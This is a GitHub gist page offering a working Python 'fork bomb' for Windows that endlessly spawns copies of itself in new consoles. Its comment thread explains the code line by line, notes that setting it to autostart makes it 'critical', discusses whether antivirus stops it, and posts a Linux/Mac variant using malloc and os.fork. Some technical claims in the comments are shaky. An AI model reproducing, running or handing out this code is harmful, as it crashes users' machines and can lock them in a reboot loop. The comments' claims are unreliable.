Skip to content

Instantly share code, notes, and snippets.

@saleemrashid
Created January 6, 2017 13:16
Show Gist options
  • Save saleemrashid/2979344010398724fa9b0723ca176b3e to your computer and use it in GitHub Desktop.
Save saleemrashid/2979344010398724fa9b0723ca176b3e to your computer and use it in GitHub Desktop.
Windows "fork bomb" in Python
import subprocess, sys
while True:
subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)
@zarnackwizard
Copy link

i am not very familiar with the "forkbomb" can u break down the code for me pls

@QueenOfDoom
Copy link

QueenOfDoom commented Mar 11, 2021

i am not very familiar with the "forkbomb" can u break down the code for me pls

A fork bomb is a program, which starts itself in a loop! So, what is a fork bomb?
A fork bomb is a program that starts itself in a loop! The first instance of the program (which you would start yourself) keeps running since it's in a loop and the second instance (which was started by the first) also starts up more instances of that same program - thus the amount of simulataneosly running programs increases exponentially (you can picture it like Image: (Cancer) Cell Division)! If you depict the whole situation in a graph it reminds of a fork or a Binary Tree

import subprocess, sys # necessary imports

while True: # Infinite Loop
  # Open a new Subprocess and start this file (sys.argv[0])
  # using the local Python Interpreter (sys.executable).
  # The creationflags indicate that it should create a new
  # console, for the new instance!
  subprocess.POpen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)

Edit: Missed a detail, my bad!
Edit 2: Code Break Down

@zarnackwizard
Copy link

interesting. So it's like a computer flooder and i suppose it lowers the computers speed a substantial amount. i also have another question i infer this is malicious kind of software and would it get stopped by most antivirus or does it act as a trojan?

@QueenOfDoom
Copy link

Some Antiviruses will prevent if from running - others will not... The program itself does not much harm - all it does is crashes the computer once. It becomes critical if you set it to AutoStart!

@curiousmonke
Copy link

I was wandering about fork bombs as well but im not sure what to do with the code or what to add to it

@0xTheSmartGuy
Copy link

0xTheSmartGuy commented Oct 20, 2022

I think os.fork() is a lot more effective, but you might say i am criticizing! (Linux/Mac):
import os, ctypes, platform
if "Linux" in platform.platform():
libc=ctypes.CDLL("libc.so.6")
else:
libc=ctypes.CDLL("libc.dylib")
libc.malloc(1000000000000000)
os.fork()
This code disrupted my Mac with a horrible crash!

@loudercake
Copy link

Actually os.fork() raises an exception if the number of forks is over 10000

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment